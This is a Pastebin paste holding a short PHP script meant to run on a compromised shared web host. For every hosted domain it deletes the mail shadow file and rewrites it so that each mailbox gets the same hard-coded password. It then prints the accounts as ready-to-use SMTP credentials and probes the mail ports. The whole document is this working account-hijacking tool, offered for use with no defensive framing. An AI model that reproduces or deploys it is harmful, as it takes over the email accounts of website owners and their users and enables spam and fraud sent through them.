Advertisement
Hectorss1

Untitled

Nov 25th, 2019
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. ini_set('max_execution_time',0);
  4. ini_set('memory_limit',-1);
  5. // port to scan
  6. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  7. $primary_port='25';
  8. //curent user
  9. $user=get_current_user();
  10. // Smtp password
  11. $password='spy2019';
  12. //crypt
  13. $pwd = crypt($password,'$6$spy2019$');
  14. // host name
  15. $t = $_SERVER['SERVER_NAME'];
  16. //edit
  17. $t = @str_replace("www.","",$t);
  18.  
  19. $dirs = glob('/home/'.$user.'/etc/*', GLOB_ONLYDIR);
  20. foreach($dirs as $dir){
  21. $ex = explode("/",$dir);
  22. $site = $ex[count($ex)-1];
  23. //get users
  24. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$site.'/shadow');
  25. //edit
  26. $ex=explode("\r\n",$passwd);
  27. //backup shadow
  28. @link('/home/'.$user.'/etc/'.$site.'/shadow','/home/'.$user.'/etc/'.$site.'/shadow.spy2019.bak');
  29. //delete shadow
  30. @unlink('/home/'.$user.'/etc/'.$site.'/shadow');
  31. // :D
  32. foreach($ex as $ex){
  33. $ex=explode(':',$ex);
  34. $e= $ex[0];
  35. if ($e){
  36. $b=fopen('/home/'.$user.'/etc/'.$site.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  37. echo $site.'|25|'.$e.'@'.$site.'|'.$password."</br>";
  38. }}
  39. //port scan
  40. foreach ($ports as $port)
  41. {
  42. $connection = @fsockopen($site, $port, $errno, $errstr, 2);
  43. if (is_resource($connection))
  44. {
  45. fclose($connection);
  46. }
  47.  
  48. }
  49.  
  50. }
  51.  
  52.  
  53.  
  54. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement